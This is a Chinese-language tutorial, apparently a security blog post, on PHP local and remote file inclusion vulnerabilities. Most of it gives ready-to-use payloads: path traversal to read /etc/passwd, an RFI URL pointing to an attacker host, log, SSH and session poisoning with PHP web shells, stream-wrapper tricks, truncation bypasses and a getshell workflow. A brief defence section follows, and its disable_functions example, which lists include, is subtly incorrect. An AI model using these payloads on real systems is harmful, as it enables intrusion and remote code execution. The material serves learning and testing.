文件包含详解
文件包含详解
基础概念
漏洞原理
文件包含漏洞是指程序把用户可控的路径直接拼接到include、require等函数中,导致攻击者可以加载任意文件。
危险函数
PHP中有四个文件包含函数:
1 | include() // 包含文件,如果失败只产生警告,脚本继续执行 |
典型漏洞代码
1 |
|
攻击者可以通过控制page参数来包含任意文件。
文件包含分类
本地文件包含(LFI)
攻击者包含服务器本地文件。
利用示例:
1 | ?page=../../../../etc/passwd |
利用点:
- 读取敏感文件(配置文件、数据库密码等)
- 包含日志文件执行代码
- 包含session文件
- 配合文件上传getshell
远程文件包含(RFI)
服务器允许包含远程URL文件。
利用示例:
1 | ?page=http://attacker.com/shell.txt |
成功条件:
1 | allow_url_include = On |
注意:高版本PHP默认关闭allow_url_include,RFI利用难度较大。
LFI常见利用方式
读取敏感文件
Linux系统:
1 | /etc/passwd # 用户信息 |
Windows系统:
1 | C:\Windows\win.ini |
日志文件包含
原理:将恶意PHP代码写入日志文件,然后通过文件包含执行日志中的代码。
利用步骤:
- 访问网站,在User-Agent中注入PHP代码
- 包含日志文件
- 执行代码
示例:
首先访问网站,在User-Agent中写入:
1 | User-Agent: <?php system($_GET['cmd']); ?> |
然后包含日志文件:
1 | ?page=/var/log/apache2/access.log&cmd=id |
前提条件:
- 日志文件可读
- 有文件包含漏洞
- 日志路径可猜测
SSH日志投毒
利用步骤:
- 使用SSH连接目标服务器,用户名中包含恶意代码
- 包含SSH认证日志
- 执行代码
示例:
1 | ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.100 |
然后包含日志:
1 | ?page=/var/log/auth.log&cmd=id |
Session文件包含
**原理:**PHP session默认保存在文件中,攻击者可以在session中写入恶意代码,然后包含session文件。
Session默认路径:
1 | /tmp/sess_xxxxxx |
攻击流程:
- 在session中写入恶意代码
- 包含session文件
- 执行代码
示例:
首先访问网站,在Cookie中设置PHPSESSID=test,然后在某个页面写入session:
1 | $_SESSION['cmd'] = '<?php system($_GET["c"]); ?>'; |
然后包含session:
1 | ?page=/tmp/sess_test&c=whoami |
session.upload_progress利用
原理:PHP的session.upload_progress功能默认开启,在上传文件时会将进度信息保存在session中,攻击者可以控制session内容。
利用条件:
- session.upload_progress.enabled = On(默认开启)
- 可以发送文件上传请求
- Cookie中包含Session ID
利用步骤:
- 发送文件上传请求,包含PHP_SESSION_UPLOAD_PROGRESS字段
- 在该字段中写入恶意代码
- 条件竞争,在session被清除前包含session文件
示例数据包:
1 | POST /upload.php HTTP/1.1 |
然后包含session:
1 | ?page=/tmp/sess_test123&cmd=whoami |
文件上传+LFI
利用流程:
- 上传图片马(将PHP代码隐藏在图片中)
- 服务器保存上传文件
- 通过LFI包含上传的文件
- getshell
图片马制作:
1 | # 方法1:直接追加 |
利用示例:
上传图片马后,假设上传路径为/uploads/image.jpg:
1 | ?page=/uploads/image.jpg&cmd=whoami |
phpinfo+条件竞争
**原理:**phpinfo页面会显示上传的临时文件路径,攻击者可以利用条件竞争在临时文件被删除前包含它。
利用条件:
- 存在phpinfo页面
- 存在文件上传功能
- 网络条件较好
利用步骤:
- 发送文件上传请求到phpinfo页面
- 从phpinfo响应中获取临时文件名
- 立即发送包含请求
- 条件竞争成功则getshell
临时文件格式:
1 | /tmp/phpXXXXXX |
伪协议利用
php://filter
**作用:**读取文件内容并进行编码,避免直接执行PHP代码。
读取源码:
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
其他过滤器:
1 | convert.base64-encode # Base64编码 |
绕过死亡exit:
1 | // 假设文件内容为:<?php exit; ?><?php phpinfo(); ?> |
php://input
**作用:**访问请求的原始数据,将POST数据作为PHP代码执行。
利用条件:
- allow_url_include = On
利用示例:
请求URL:
1 | ?page=php://input |
POST数据:
1 | system($_GET['cmd']); |
然后执行命令:
1 | ?cmd=whoami |
data://
**作用:**直接执行数据中的PHP代码。
利用条件:
- allow_url_include = On
- allow_url_fopen = On
利用示例:
1 | ?page=data://text/plain,<?php system('whoami'); ?> |
zip://
**作用:**访问压缩包中的文件。
利用示例:
1 | ?page=zip://shell.zip#shell.php |
compress.bzip2://
**作用:**访问bzip2压缩文件。
利用示例:
1 | ?page=compress.bzip2://file.bz2 |
compress.zlib://
**作用:**访问gzip压缩文件。
利用示例:
1 | ?page=compress.zlib://file.gz |
file://
**作用:**访问本地文件系统。
利用示例:
1 | ?page=file:///etc/passwd |
高级绕过技巧
目录穿越绕过
基础绕过:
1 | ../../ |
变形绕过:
1 | ....// |
Null字节截断
原理:在PHP 5.3.4之前,%00会截断字符串。
利用示例:
1 | ?page=../../../../etc/passwd%00.php |
**适用版本:**PHP < 5.3.4
长度截断
**原理:**构造超长字符串,截断后缀。
利用示例:
1 | ?page=../../../../etc/passwd................................................................................................................ |
多级软链接绕过
原理:PHP会将文件名进行resolve转换成标准绝对路径,软链接跳转次数超过上限时,lstat函数出错导致计算出的绝对路径包含软链接路径。
利用示例:
1 | /proc/self/root/proc/self/root/proc/self/root/.../www/config.php |
Windows通配符妙用
**原理:**PHP在读取Windows文件时使用FindFirstFileExW API,支持通配符。
通配符:
- DOS_STAR即<,匹配0个以上的字符
- DOS_QM即>,匹配1个字符
- DOS_DOT即”,匹配点号
利用示例:
1 | C:\Windows\Temp\php<< |
PHP崩溃遗留下临时文件
**原理:**利用php://filter/string.strip_tags导致PHP进程崩溃,临时文件不会被删除。
利用条件:
- PHP 7.0-7.19版本
- 可以同时上传文件
利用示例:
1 | ?page=php://filter/string.strip_tags=/etc/passwd |
实战场景应用
Docker环境
- 日志文件包含不可行(日志重定向到/dev/stdout)
- session.upload_progress默认可用
- pearcmd.php默认安装
- 利用Nginx Fastcgi临时文件
Windows环境
- 利用通配符匹配临时文件
- upload_tmp_dir需要设置且有写入权限
无phpinfo环境
- 利用session.upload_progress
- 利用php7崩溃特性
- 利用Nginx Fastcgi临时文件
- 利用Iconv编码构造
防御方式
代码层面
- 不要直接include用户输入
- 使用白名单机制
1 | $allow = ['home.php', 'about.php', 'contact.php']; |
- 使用basename()过滤路径
1 | $page = basename($_GET['page']); |
配置层面
- 关闭远程包含
1 | allow_url_include = Off |
- 设置open_basedir限制访问目录
1 | open_basedir = /var/www/html/ |
- 禁用危险函数
1 | disable_functions = include, include_once, require, require_once |
渗透测试实战思路
第一步:测试漏洞
1 | ?page=1.php |
第二步:读取源码
1 | ?page=php://filter/convert.base64-encode/resource=index.php |
第三步:寻找日志路径
1 | /var/log/apache2/access.log |
第四步:尝试getshell
根据环境选择合适的利用方式:
- 日志文件包含
- session文件包含
- 文件上传+LFI
- php://input
- data://
- session.upload_progress
- phpinfo+条件竞争